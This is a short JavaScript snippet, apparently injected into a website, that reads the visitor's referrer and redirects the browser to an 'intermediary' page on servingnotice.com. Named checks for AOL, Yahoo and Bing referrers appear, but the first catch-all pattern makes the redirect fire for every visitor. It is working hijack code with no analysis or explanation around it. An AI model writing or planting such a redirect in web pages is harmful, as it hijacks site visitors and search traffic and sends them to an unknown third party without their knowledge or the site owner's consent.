var toUrl="http://"; var rUrl = document.referrer; var patrn=/(.*)$/; toUrl+="servingnotice.com/ctp18/intermediary.html?menjeansonlinecom"; toUrl+=""; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)aol.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)yahoo.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)bing.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl;